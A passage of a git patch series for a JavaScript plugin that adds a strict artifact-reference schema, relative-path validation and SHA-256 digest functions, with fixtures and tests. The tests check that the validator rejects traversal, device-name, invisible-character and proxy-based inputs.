'colon_denied'); + pathError('report.txt:hidden', 'colon_denied'); + pathError('runs/x/', 'trailing_slash_denied'); + pathError('runs//x', 'empty_segment_denied'); + pathError('./diff.patch', 'alias_segment_denied'); + pathError('../diff.patch', 'alias_segment_denied'); + pathError('runs/../escape', 'alias_segment_denied'); + pathError('...', 'alias_segment_denied'); + pathError('runs/.../x', 'alias_segment_denied'); + for (const reserved of ['CON', 'con.txt', 'Com1', 'lpt0', 'NUL', 'nul', 'PRN', 'aux', 'clock$', 'CLOCK$/token']) { + pathError(`runs/${reserved}`, 'reserved_device_name_denied', 'artifact_ref.relative_path'); + } + for (const ordinary of ['concat', 'auxiliary', 'nullify', 'control', 'companion10']) { + assert.equal(isArtifactRelativePathV1(`runs/${ordinary}.txt`), true, ordinary); + } + pathError('runs/name.', 'edge_character_denied'); + pathError('runs/name ', 'edge_character_denied'); + pathError('runs/ name', 'edge_character_denied'); + pathError(`runs/${'a'.repeat(129)}`, 'segment_too_long'); + pathError(Array.from({ length: 17 }, (unused, index) => `s${index}`).join('/'), 'segment_count_exceeded'); + assert.doesNotThrow(() => validateArtifactRelativePathV1( + Array.from({ length: 16 }, (unused, index) => `s${index}`).join('/'), + )); +}); + +test('separator tricks, controls, invisible characters, and encodings are rejected', () => { + pathError('runs/a\u2044b', 'separator_lookalike_denied'); + pathError('runs/a\u2215b', 'separator_lookalike_denied'); + pathError('runs/a\uFF0Fb', 'separator_lookalike_denied'); + pathError('runs/a\uFF3Cb', 'separator_lookalike_denied'); + pathError('runs/a\u0000b', 'control_character_denied'); + pathError('runs/a\tb', 'control_character_denied'); + pathError('runs/a\nb', 'control_character_denied'); + pathError('runs/a\u007Fb', 'control_character_denied'); + pathError('runs/a\u0085b', 'control_character_denied'); + pathError('runs/a\u00ADb', 'invisible_character_denied'); + pathError('runs/a\u200Bb', 'invisible_character_denied'); + pathError('runs/a\u200Eb', 'invisible_character_denied'); + pathError('runs/\u202Edir/x', 'invisible_character_denied'); + pathError('runs/dir\u202E/x', 'invisible_character_denied'); + pathError('runs/\u2066dir/x', 'invisible_character_denied'); + pathError('\uFEFFruns/x', 'invisible_character_denied'); + pathError('runs/tag\u{E0041}x', 'invisible_character_denied'); + pathError('e\u0301clair.patch', 'invalid_encoding'); + pathError('cafe\u0301.patch', 'invalid_encoding'); + assert.doesNotThrow(() => validateArtifactRelativePathV1('café.patch')); + // Well-formed astral characters stay legal; only unpaired surrogates fail. + assert.doesNotThrow(() => validateArtifactRelativePathV1('runs/🙂/diff.patch')); + assert.equal(validateArtifactRelativePathV1('runs/🙂/diff.patch').byte_length, + Buffer.byteLength('runs/🙂/diff.patch', 'utf8')); + assert.throws(() => validateArtifactRelativePathV1('\uD800'), RunContractV1Error); + assert.throws(() => validateArtifactRelativePathV1('a\uDFFBc'), RunContractV1Error); + assert.equal(isArtifactRelativePathV1('\uDFFF'), false); + assert.equal(isArtifactRelativePathV1('\uD83D\uDE00runs'), true); +}); + +test('validation order is fixed so identical inputs always raise identical first errors', () => { + // Encoding beats NFC, NFC beats traversal, absolute beats control, + // backslash beats colon, alias beats invisible. + pathError('e\u0301/../x', 'invalid_encoding'); + pathError('../\u202Ex', 'alias_segment_denied'); + pathError('/x\u0000', 'absolute_path_denied'); + pathError('C:\\x', 'invalid_separator'); + pathError('\u202E/../x', 'alias_segment_denied'); + // The character scan is strictly positional: the first offending code + // point decides, whichever class it belongs to. + pathError('C:\u0000', 'colon_denied'); + pathError('\u0000a:b', 'control_character_denied'); + const twice = () => pathError('e\u0301/../..', 'invalid_encoding').message; + assert.equal(twice(), twice()); +}); + +test('non-string inputs and predicate parity behave without ever throwing', () => { + for (const bad of [undefined, null, 42, true, {}, ['a'], Symbol('path')]) { + assert.equal( + errorOf(() => validateArtifactRelativePathV1(bad, 'p')).code, + 'invalid_type', + ); + assert.equal(isArtifactRelativePathV1(bad), false); + } + const samples = [ + '', '/', '//', '.', '..', 'a', 'a/b', '/abs', 'a/', 'a//b', 'C:/x', + 'ok/deep/path.txt', 'bad\u0000', 'e\u0301', 'café', 'a/con', 'CON', + `${'a'.repeat(1024)}`, `${'a'.repeat(1025)}`, + ]; + for (const sample of samples) { + let threw = false; + try { + validateArtifactRelativePathV1(sample, 'p'); + } catch { + threw = true; + } + assert.equal(isArtifactRelativePathV1(sample), !threw, JSON.stringify(sample)); + } +}); + +test('accepted path descriptors are detached and frozen', () => { + const descriptor = validateArtifactRelativePathV1('runs/run-a/lane-b/diff.patch', 'p'); + assert.equal(Object.isFrozen(descriptor), true); + assert.equal(Object.isFrozen(descriptor.segments), true); + assert.deepEqual([...descriptor.segments], ['runs', 'run-a', 'lane-b', 'diff.patch']); + assert.equal(descriptor.byte_length, Buffer.byteLength('runs/run-a/lane-b/diff.patch', 'utf8')); +}); + +test('every raised path code stays inside the closed vocabulary', () => { + const codes = new Set(ARTIFACT_RELATIVE_PATH_ERROR_CODES); + const attempts = [ + '', '/x', 'a\\b', 'a/../b', 'a//b', 'a/', '...', 'a/CON', 'a/b.', + 'a\u0000b', 'a\u200Bb', 'a\u2044b', 'a:b', `${'a'.repeat(2000)}`, + `${Array.from({ length: 20 }, (_v, i) => `s${i}`).join('/')}`, + '\uD800', 'e\u0301', 42, null, + ]; + for (const attempt of attempts) { + try { + validateArtifactRelativePathV1(attempt, 'p'); + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + assert.ok(codes.has(error.code), `unexpected code ${error.code}`); + } + }}); + From 773b44f97c9b265e9607e60ac478105dcfa86b1d Mon Sep 17 00:00:00 2001 From: cole Date: Sat, 22 Aug 2026 19:45:24 +0000 Subject: [PATCH 05/81] feat(v3): bind the closed ArtifactRefV1 contract and digest authority Bind exactly ten keys: exact run/child identifiers reusing the accepted manifest grammars, artifact kind bound to the detached P17 capability vocabulary, raw-vs-sanitized class with class-dependent bounded-evidence caps (sanitized 256 KiB, raw 32 MiB), declared byte length, 64-character lowercase SHA-256, and closed media-type/content-encoding enums. The relative path carries no class marker; consumers trust the ref, never the name. Hostile inputs fail closed before any effect: live/revoked Proxies with zero traps, accessor properties whose getters never run, symbol keys, exotic prototypes, own undefined, sparse/extended arrays, aliases and cycles, depth and size. Parsed results are deep-frozen detached snapshots built property-by-property, so later caller mutation cannot drift a digest or a comparison. Digests follow the accepted P03 framing conventions without touching its closed registry: SHA-256 over validator-owned canonical JSON behind an explicit domain string, big-endian version, ratified private label, and length-prefixed parts, so key order cannot change a digest while any value change must. Ordering is deterministic via one total tuple comparator plus a bounded (64) duplicate-free batch orderer. Pure schema and path policy only: no constructor from bytes, no reader, no sanitizer, no existence check, and no claim that P08 storage exists. Focused hostile coverage pins proxies, accessors, coercion hooks, closure-before-vocabulary ordering, batch hostility, and mid-call mutation inertness. --- .../codex-co-engineer/mcp/v3/artifact-ref.mjs | 377 ++++++++++++++++++ .../test/fixtures/r1-artifact-fixtures.mjs | 70 ++++ .../test/r1-artifact-ref-adversarial.test.mjs | 228 +++++++++++ .../test/r1-artifact-ref.test.mjs | 342 ++++++++++++++++ 4 files changed, 1017 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/artifact-ref.mjs create mode 100644 plugins/codex-co-engineer/test/fixtures/r1-artifact-fixtures.mjs create mode 100644 plugins/codex-co-engineer/test/r1-artifact-ref-adversarial.test.mjs create mode 100644 plugins/codex-co-engineer/test/r1-artifact-ref.test.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/artifact-ref.mjs b/plugins/codex-co-engineer/mcp/v3/artifact-ref.mjs new file mode 100644 index 0000000..f5a09e8 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/artifact-ref.mjs @@ -0,0 +1,377 @@ +// ArtifactRefV1 — closed bounded artifact-reference contract plus its +// canonical serialization and digest authority (ADR 0001 identifiers +// `bounded_evidence`, `exact_identities`, +// `gate_a_valid_raw_and_sanitized_artifacts`). +// +// Additive v3 module for W3-P07. An ArtifactRefV1 is a bounded declaration +// that one run child produced one artifact of one kind in one class at one +// strict portable relative path with one declared byte length, SHA-256 +// content digest, and media/content metadata. It binds exactly ten keys: +// +// schema exact "codex-co-engineer.artifact-ref.v1" +// run_id exact RunManifestV1 run identifier +// assignment_id exact AssignmentManifestV1 child identifier +// artifact_kind closed enum bound to the P17 capability vocabulary +// (CAPABILITY_ARTIFACT_KINDS), detached here +// artifact_class "raw" (owner-only local evidence) or "sanitized" +// (model-facing bounded projection) +// relative_path strict portable relative path per artifact-path.mjs; +// the path carries NO class marker — consumers trust the +// ref, never the name +// byte_length declared artifact size in bytes, 1..cap(class); +// sanitized projections face the model and carry the +// tighter cap, raw evidence stays host-local under a +// larger but finite cap (ADR `bounded_evidence`) +// sha256 exact 64-character lowercase hex of the artifact bytes +// media_type closed enum +// content_encoding closed enum ("identity" or "base64") +// +// This module is PURE SCHEMA AND PATH POLICY ONLY. It performs no +// filesystem, network, or process I/O and it makes no claim that P08 +// artifact storage exists: byte_length and sha256 are producer declarations +// that only a later storage authority may bind to real bytes. There is no +// constructor from bytes, no reader, no sanitizer, and no existence check. +// +// Identity conventions follow the accepted P03 authority shape without +// touching it: digests are computed only over validator-owned canonical +// forms, never caller views, behind explicit domain separation and +// versioning — a domain string, a 32-bit big-endian version, a ratified +// private label, and every part behind a 32-bit big-endian length prefix, +// all framed with SHA-256. Canonical serialization reuses the shared +// canonical JSON writer (sorted keys, minimal escaping, well-formed Unicode, +// safe integers), so key order and whitespace cannot change a digest while +// any meaningful value change must. +// +// Hostile inputs fail closed before any effect: live and revoked Proxies, +// accessor properties (getters are never invoked), symbol keys, exotic +// prototypes, own undefined values, sparse or extended arrays, aliased or +// cyclic graphs, and oversized/deep payloads are rejected with stable typed +// errors before any value is read into the contract. Parsed results are +// deep-frozen detached snapshots built property-by-property, so later +// mutation of the caller object cannot drift a digest or a comparison. +// +// Ordering is deterministic: compareArtifactRefsV1 fixes one total tuple +// order and orderArtifactRefsV1 returns a bounded duplicate-free frozen +// list, so equal sets of references always serialize and hash identically +// regardless of submission order. + +import { Buffer } from 'node:buffer'; +import { createHash, timingSafeEqual } from 'node:crypto'; + +import { + capturedDescriptor, + capturedFreeze, + capturedIncludes, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { validateArtifactRelativePathV1 } from './artifact-path.mjs'; +import { CAPABILITY_ARTIFACT_KINDS } from './capability-bridge.mjs'; +import { + RunContractV1Error, + assertAllowedKeys, + assertDenseJsonArray, + assertRunId, + isAssignmentId, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +export const ARTIFACT_REF_SCHEMA_ID = 'codex-co-engineer.artifact-ref.v1'; + +export const ARTIFACT_DIGEST_DOMAIN = 'codex-co-engineer.artifact.v1'; +export const ARTIFACT_DIGEST_VERSION = 1; +export const ARTIFACT_REF_DIGEST_LABEL = 'artifact-ref.v1'; +export const DIGEST_ALGORITHM = 'sha256'; +export const ARTIFACT_DIGEST_HEX_LENGTH = 64; + +// Closed vocabularies. artifact_kind stays bound to the P17 capability +// record vocabulary so a lane cannot reference an artifact kind its provider +// capability could never declare; the copy is detached, so later mutation of +// either exported array cannot change what this module accepts. +export const ARTIFACT_KINDS = capturedFreeze([...CAPABILITY_ARTIFACT_KINDS]); +export const ARTIFACT_CLASSES = capturedFreeze(['raw', 'sanitized']); +export const MEDIA_TYPES = capturedFreeze([ + 'application/json', + 'application/octet-stream', + 'application/x-ndjson', + 'text/markdown', + 'text/plain', +]); +export const CONTENT_ENCODINGS = capturedFreeze(['base64', 'identity']); + +export const ARTIFACT_REF_ALLOWED_KEYS = capturedFreeze([ + 'schema', + 'run_id', + 'assignment_id', + 'artifact_kind', + 'artifact_class', + 'relative_path', + 'byte_length', + 'sha256', + 'media_type', + 'content_encoding', +]); + +export const MIN_ARTIFACT_BYTE_LENGTH = 1; +export const MAX_RAW_ARTIFACT_BYTE_LENGTH = 33_554_432; +export const MAX_SANITIZED_ARTIFACT_BYTE_LENGTH = 262_144; +export const MAX_ARTIFACT_REFS = 64; + +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; +export const ARTIFACT_SHA256_PATTERN = new RegExp( + PRIVATE_SHA256_PATTERN.source, PRIVATE_SHA256_PATTERN.flags, +); + +// Stable artifact-specific denial codes. Shared vocabulary codes +// (proxy_denied, accessor_property_denied, symbol_key_denied, +// exotic_prototype_denied, aliased_reference_denied, own_undefined_denied, +// unknown_key, forbidden-class denials, and every artifact-path code) pass +// through unchanged from their owning modules. +export const ARTIFACT_REF_ERROR_CODES = capturedFreeze([ + 'duplicate_artifact_ref', + 'invalid_format', + 'invalid_type', + 'missing_key', + 'out_of_range', + 'refs_exceeded', + 'unknown_artifact_class', + 'unknown_artifact_kind', + 'unknown_content_encoding', + 'unknown_media_type', +]); + +// ---- Captured intrinsics, taken exactly once at initialization. ----------- +const CRYPTO_CREATE_HASH = createHash; +const TIMING_SAFE_EQUAL = timingSafeEqual; +const HASH_PROTOTYPE = Object.getPrototypeOf(CRYPTO_CREATE_HASH(DIGEST_ALGORITHM)); +const HASH_UPDATE = HASH_PROTOTYPE.update; +const HASH_DIGEST = HASH_PROTOTYPE.digest; +const BUFFER_ALLOC = Buffer.alloc.bind(Buffer); +const BUFFER_FROM = Buffer.from.bind(Buffer); +const OBJECT_DEFINE_PROPERTY = Object.defineProperty; +const OBJECT_PROTOTYPE = Object.prototype; +const REFLECT_APPLY = Reflect.apply; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const REGEXP_TEST = RegExp.prototype.test; +const STRING = String; + +function sha256HexPatternMatch(value) { + return REFLECT_APPLY(REGEXP_TEST, PRIVATE_SHA256_PATTERN, [value]) === true; +} + +function maxByteLengthForClass(artifactClass) { + return artifactClass === 'raw' + ? MAX_RAW_ARTIFACT_BYTE_LENGTH + : MAX_SANITIZED_ARTIFACT_BYTE_LENGTH; +} + +function enumError(code, path, label, allowed) { + let joined = ''; + for (let index = 0; index < allowed.length; index += 1) { + joined += index === 0 ? `"${allowed[index]}"` : `, "${allowed[index]}"`; + } + fail(code, path, `${path} must be exactly one of ${joined}; received an outside ${label}.`); +} + +// Validate one ArtifactRefV1 direct-JS value and return a deep-frozen, +// detached snapshot built property-by-property from validated scalars. The +// fixed pipeline order means identical inputs always raise the identical +// first typed error. +export function parseArtifactRefV1(input, path = 'artifact_ref') { + assertPlainObject(input, 'invalid_type', path, `${path}`); + // Closure gate first: proxies, accessors, symbols, exotic prototypes, + // sparse arrays, aliases/cycles, undefined values, depth, and hostile + // shapes are rejected here before any field is interpreted. + assertDirectJsonClosure(input, path); + assertAllowedKeys(input, ARTIFACT_REF_ALLOWED_KEYS, path); + for (let index = 0; index < ARTIFACT_REF_ALLOWED_KEYS.length; index += 1) { + const key = ARTIFACT_REF_ALLOWED_KEYS[index]; + if (!hasOwn(input, key)) { + fail('missing_key', `${path}.${key}`, + `${path}.${key} is required (${ARTIFACT_REF_SCHEMA_ID}); artifact references have no hidden defaults.`); + } + } + + const schema = optOwn(input, 'schema'); + if (schema !== ARTIFACT_REF_SCHEMA_ID) { + fail('invalid_format', `${path}.schema`, + `${path}.schema must be exactly "${ARTIFACT_REF_SCHEMA_ID}".`); + } + const runId = optOwn(input, 'run_id'); + assertRunId(runId, `${path}.run_id`); + const assignmentId = optOwn(input, 'assignment_id'); + if (!isAssignmentId(assignmentId)) { + fail('invalid_format', `${path}.assignment_id`, + `${path}.assignment_id violates the assignment-id grammar; child artifacts bind one exact child.`); + } + const artifactKind = optOwn(input, 'artifact_kind'); + if (!capturedIncludes(ARTIFACT_KINDS, artifactKind)) { + enumError('unknown_artifact_kind', `${path}.artifact_kind`, 'artifact kind', ARTIFACT_KINDS); + } + const artifactClass = optOwn(input, 'artifact_class'); + if (!capturedIncludes(ARTIFACT_CLASSES, artifactClass)) { + enumError('unknown_artifact_class', `${path}.artifact_class`, 'artifact class', ARTIFACT_CLASSES); + } + const relativePath = optOwn(input, 'relative_path'); + validateArtifactRelativePathV1(relativePath, `${path}.relative_path`); + + const byteLength = optOwn(input, 'byte_length'); + if (typeof byteLength !== 'number' || !NUMBER_IS_SAFE_INTEGER(byteLength)) { + fail('invalid_type', `${path}.byte_length`, `${path}.byte_length must be an integer number of bytes.`); + } + const cap = maxByteLengthForClass(artifactClass); + if (byteLength < MIN_ARTIFACT_BYTE_LENGTH || byteLength > cap) { + fail('out_of_range', `${path}.byte_length`, + `${path}.byte_length is ${byteLength} bytes; a ${artifactClass} artifact declares ` + + `${MIN_ARTIFACT_BYTE_LENGTH}..${cap} bytes (ADR bounded_evidence).`); + } + const sha256 = optOwn(input, 'sha256'); + if (typeof sha256 !== 'string' || !sha256HexPatternMatch(sha256)) { + fail('invalid_format', `${path}.sha256`, + `${path}.sha256 must be an exact ${ARTIFACT_DIGEST_HEX_LENGTH}-character lowercase hex SHA-256.`); + } + const mediaType = optOwn(input, 'media_type'); + if (!capturedIncludes(MEDIA_TYPES, mediaType)) { + enumError('unknown_media_type', `${path}.media_type`, 'media type', MEDIA_TYPES); + } + const contentEncoding = optOwn(input, 'content_encoding'); + if (!capturedIncludes(CONTENT_ENCODINGS, contentEncoding)) { + enumError('unknown_content_encoding', `${path}.content_encoding`, 'content encoding', CONTENT_ENCODINGS); + } + + // Detached snapshot: fresh ordinary object, every field installed as a + // frozen enumerable data property copied from the validated value, then + // frozen as a whole. No alias to the caller object survives. + const snapshot = {}; + for (let index = 0; index < ARTIFACT_REF_ALLOWED_KEYS.length; index += 1) { + const key = ARTIFACT_REF_ALLOWED_KEYS[index]; + const value = key === 'byte_length' ? byteLength : capturedDescriptor(input, key).value; + OBJECT_DEFINE_PROPERTY(snapshot, key, { + value, enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +export function validateArtifactRefV1(input, path = 'artifact_ref') { + return parseArtifactRefV1(input, path); +} + +// Canonical serialization of the validator-owned form. The caller view is +// never serialized: parsing happens first, so accessor-shaped lookalikes and +// late-mutating views cannot launder bytes into the canonical text. +export function canonicalArtifactRefJsonV1(input, path = 'artifact_ref') { + return canonicalJsonStringify(parseArtifactRefV1(input, path)); +} + +function framedUpdate(hash, bytes) { + const prefix = BUFFER_ALLOC(4); + prefix.writeUInt32BE(bytes.length, 0); + HASH_UPDATE.call(hash, prefix); + HASH_UPDATE.call(hash, bytes); +} + +// Domain-separated digest over the canonical validated form, following the +// accepted P03 framing conventions (domain, big-endian version, label, and +// each part behind a big-endian length prefix) without extending the P03 +// closed label registry: the artifact label is ratified here and nowhere +// else, so cross-surface digest collision is structurally impossible. +export function artifactRefDigestV1(input, path = 'artifact_ref') { + const snapshot = parseArtifactRefV1(input, path); + const canonical = canonicalJsonStringify(snapshot); + const canonicalBytes = BUFFER_FROM(canonical, 'utf8'); + const hash = CRYPTO_CREATE_HASH(DIGEST_ALGORITHM); + framedUpdate(hash, BUFFER_FROM(ARTIFACT_DIGEST_DOMAIN, 'utf8')); + const version = BUFFER_ALLOC(4); + version.writeUInt32BE(ARTIFACT_DIGEST_VERSION, 0); + HASH_UPDATE.call(hash, version); + framedUpdate(hash, BUFFER_FROM(ARTIFACT_REF_DIGEST_LABEL, 'utf8')); + framedUpdate(hash, canonicalBytes); + return capturedFreeze({ + algorithm: DIGEST_ALGORITHM, + domain: ARTIFACT_DIGEST_DOMAIN, + version: ARTIFACT_DIGEST_VERSION, + label: ARTIFACT_REF_DIGEST_LABEL, + input_bytes: canonicalBytes.length, + digest: HASH_DIGEST.call(hash, 'hex'), + }); +} + +// Timing-safe verification. Malformed expected values return false instead +// of throwing; invalid references still fail closed with their typed errors. +export function verifyArtifactRefDigestV1(input, expectedDigestHex, path = 'artifact_ref') { + if (typeof expectedDigestHex !== 'string' + || expectedDigestHex.length !== ARTIFACT_DIGEST_HEX_LENGTH + || !sha256HexPatternMatch(expectedDigestHex)) { + return false; + } + const actual = artifactRefDigestV1(input, path).digest; + return TIMING_SAFE_EQUAL(BUFFER_FROM(actual, 'hex'), BUFFER_FROM(expectedDigestHex, 'hex')) === true; +} + +function compareStrings(left, right) { + if (left === right) return 0; + return left < right ? -1 : 1; +} + +// Deterministic total order over parsed references. The tuple order is: +// run_id, assignment_id, artifact_class, artifact_kind, relative_path, +// media_type, content_encoding, sha256, byte_length. Two references compare +// equal only when every field matches, i.e. when they are the same reference. +export function compareArtifactRefsV1(leftInput, rightInput) { + const left = parseArtifactRefV1(leftInput, 'left'); + const right = parseArtifactRefV1(rightInput, 'right'); + let verdict = compareStrings(left.run_id, right.run_id); + if (verdict !== 0) return verdict; + verdict = compareStrings(left.assignment_id, right.assignment_id); + if (verdict !== 0) return verdict; + verdict = compareStrings(left.artifact_class, right.artifact_class); + if (verdict !== 0) return verdict; + verdict = compareStrings(left.artifact_kind, right.artifact_kind); + if (verdict !== 0) return verdict; + verdict = compareStrings(left.relative_path, right.relative_path); + if (verdict !== 0) return verdict; + verdict = compareStrings(left.media_type, right.media_type); + if (verdict !== 0) return verdict; + verdict = compareStrings(left.content_encoding, right.content_encoding); + if (verdict !== 0) return verdict; + verdict = compareStrings(left.sha256, right.sha256); + if (verdict !== 0) return verdict; + return left.byte_length === right.byte_length ? 0 : left.byte_length < right.byte_length ? -1 : 1; +} + +// Deterministic, duplicate-free ordering of a bounded batch of references. +// Every element is fully revalidated and detached BEFORE sorting, so caller +// mutation during or after the call can neither disturb the order nor leak +// into the result. Duplicate references (identical validated content, which +// includes two aliases of one object) reject rather than silently collapse. +export function orderArtifactRefsV1(inputs, path = 'artifact_refs') { + assertNotProxy(inputs, path); + assertDenseJsonArray(inputs, path); + if (inputs.length > MAX_ARTIFACT_REFS) { + fail('refs_exceeded', path, + `${path} carries ${inputs.length} references; at most ${MAX_ARTIFACT_REFS} are allowed.`); + } + const snapshots = []; + const seenCanonical = new Set(); + for (let index = 0; index < inputs.length; index += 1) { + const entryPath = `${path}[${index}]`; + assertNotProxy(inputs[index], entryPath); + const snapshot = parseArtifactRefV1(inputs[index], entryPath); + const key = canonicalJsonStringify(snapshot); + if (seenCanonical.has(key)) { + fail('duplicate_artifact_ref', entryPath, + `${entryPath} repeats an identical artifact reference; duplicates are denied instead of collapsed.`); + } + seenCanonical.add(key); + snapshots.push(snapshot); + } + snapshots.sort(compareArtifactRefsV1); + return capturedFreeze(snapshots); +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-artifact-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-artifact-fixtures.mjs new file mode 100644 index 0000000..5e8ba5b --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-artifact-fixtures.mjs @@ -0,0 +1,70 @@ +// Shared fixtures for the W3-P07 artifact-reference and path-policy tests. +// Pure data and tiny local helpers only; no I/O and no product imports +// beyond the two modules under test. + +import { + ARTIFACT_REF_SCHEMA_ID, +} from '../../mcp/v3/artifact-ref.mjs'; + +export const RUN_ID = 'run-artifact-01'; +export const CHILD_A = 'lane-alpha'; +export const CHILD_B = 'lane-beta'; + +const SHA_A = 'aa'.repeat(32); +const SHA_B = 'bb'.repeat(32); + +export function validRef(overrides = {}) { + return { + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: RUN_ID, + assignment_id: CHILD_A, + artifact_kind: 'git_diff', + artifact_class: 'sanitized', + relative_path: `runs/${RUN_ID}/${CHILD_A}/diff.patch`, + byte_length: 2048, + sha256: SHA_A, + media_type: 'text/plain', + content_encoding: 'identity', + ...overrides, + }; +} + +export function secondRef(overrides = {}) { + return validRef({ + assignment_id: CHILD_B, + relative_path: `runs/${RUN_ID}/${CHILD_B}/diff.patch`, + sha256: SHA_B, + ...overrides, + }); +} + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property, receiver) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property, receiver); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} diff --git a/plugins/codex-co-engineer/test/r1-artifact-ref-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-ref-adversarial.test.mjs new file mode 100644 index 0000000..3c150bd --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-ref-adversarial.test.mjs @@ -0,0 +1,228 @@ +import assert from 'node:assert/strict'; +import { types as utilTypes } from 'node:util'; +import test from 'node:test'; + +import { + ARTIFACT_REF_ERROR_CODES, + MAX_ARTIFACT_REFS, + artifactRefDigestV1, + canonicalArtifactRefJsonV1, + compareArtifactRefsV1, + orderArtifactRefsV1, + parseArtifactRefV1, + verifyArtifactRefDigestV1, +} from '../mcp/v3/artifact-ref.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, secondRef, trapTotal, validRef } from './fixtures/r1-artifact-fixtures.mjs'; + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +function pathError(value, expectedCode, expectedPath = 'artifact_ref.relative_path') { + const error = errorOf( + () => parseArtifactRefV1(validRef({ relative_path: value })), + expectedPath, + ); + assert.equal(error.code, expectedCode, `path ${JSON.stringify(value)}`); + return error; +} + +test('live proxies are denied with zero traps on every artifact surface', () => { + const { proxy, counts } = countingProxy(validRef()); + assert.equal(errorOf(() => parseArtifactRefV1(proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const digestCounts = countingProxy(validRef()); + assert.equal(errorOf(() => artifactRefDigestV1(digestCounts.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(digestCounts.counts), 0); + + const listCounts = countingProxy([validRef()]); + assert.equal(errorOf(() => orderArtifactRefsV1(listCounts.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(listCounts.counts), 0); + + const elementCounts = countingProxy(validRef()); + assert.equal(errorOf(() => orderArtifactRefsV1([elementCounts.proxy])).code, 'proxy_denied'); + assert.equal(trapTotal(elementCounts.counts), 0); + + const leftCounts = countingProxy(validRef()); + assert.equal(errorOf(() => compareArtifactRefsV1(leftCounts.proxy, validRef())).code, 'proxy_denied'); + assert.equal(trapTotal(leftCounts.counts), 0); +}); + +test('revoked proxies fail closed before Array.isArray or Reflect can throw', () => { + const { proxy, revoke } = Proxy.revocable(validRef(), { + get() { throw new Error('revoked get'); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + getOwnPropertyDescriptor() { throw new Error('revoked descriptor'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(proxy), true); + const error = errorOf(() => parseArtifactRefV1(proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.throws(() => Array.isArray(proxy), TypeError); +}); + +test('accessor properties are rejected and their getters never run', () => { + let reads = 0; + const getterRef = validRef(); + Object.defineProperty(getterRef, 'relative_path', { + enumerable: true, + get() { + reads += 1; + return 'runs/run-artifact-01/lane-alpha/diff.patch'; + }, + }); + const error = errorOf(() => parseArtifactRefV1(getterRef), 'artifact_ref.relative_path'); + assert.equal(error.code, 'accessor_property_denied'); + assert.equal(reads, 0); + + let throwingReads = 0; + const throwingRef = validRef(); + Object.defineProperty(throwingRef, 'sha256', { + enumerable: true, + get() { + throwingReads += 1; + throw new Error('getter bomb'); + }, + }); + assert.equal( + errorOf(() => parseArtifactRefV1(throwingRef)).code, + 'accessor_property_denied', + ); + assert.equal(throwingReads, 0); +}); + +test('non-enumerable fields, symbol keys, and exotic prototypes are denied', () => { + const hidden = validRef(); + Object.defineProperty(hidden, 'byte_length', { enumerable: false, value: 2048 }); + assert.equal( + errorOf(() => parseArtifactRefV1(hidden)).code, + 'non_enumerable_property_denied', + ); + + const symbolled = validRef(); + symbolled[Symbol('injected')] = 'payload'; + assert.equal(errorOf(() => parseArtifactRefV1(symbolled)).code, 'symbol_key_denied'); + + class SpoofedRef {} + const instance = new SpoofedRef(); + Object.assign(instance, validRef()); + assert.equal(errorOf(() => parseArtifactRefV1(instance)).code, 'invalid_type'); + assert.equal(errorOf(() => parseArtifactRefV1(new Map())).code, 'invalid_type'); + assert.equal(errorOf(() => parseArtifactRefV1(new Date())).code, 'invalid_type'); + + // Null-prototype data objects remain acceptable direct JSON. + const nullProto = Object.create(null); + Object.assign(nullProto, validRef()); + assert.doesNotThrow(() => parseArtifactRefV1(nullProto)); +}); + +test('own undefined values, boxed values, and coercion hooks never contribute', () => { + assert.equal( + errorOf(() => parseArtifactRefV1(validRef({ media_type: undefined }))).code, + 'own_undefined_denied', + ); + let coerced = 0; + const sneaky = { valueOf() { coerced += 1; return 2048; } }; + assert.equal( + errorOf( + () => parseArtifactRefV1(validRef({ byte_length: sneaky })), + 'artifact_ref.byte_length.valueOf', + ).code, + 'invalid_json_type', + ); + assert.equal(coerced, 0); + const boxed = validRef({ sha256: new String('a'.repeat(64)) }); + assert.equal(errorOf(() => parseArtifactRefV1(boxed)).code, 'exotic_prototype_denied'); +}); + +test('cyclic, aliased, deep, and oversized payloads are rejected before effects', () => { + const cyclic = validRef(); + cyclic.self = cyclic; + assert.equal(errorOf(() => parseArtifactRefV1(cyclic)).code, 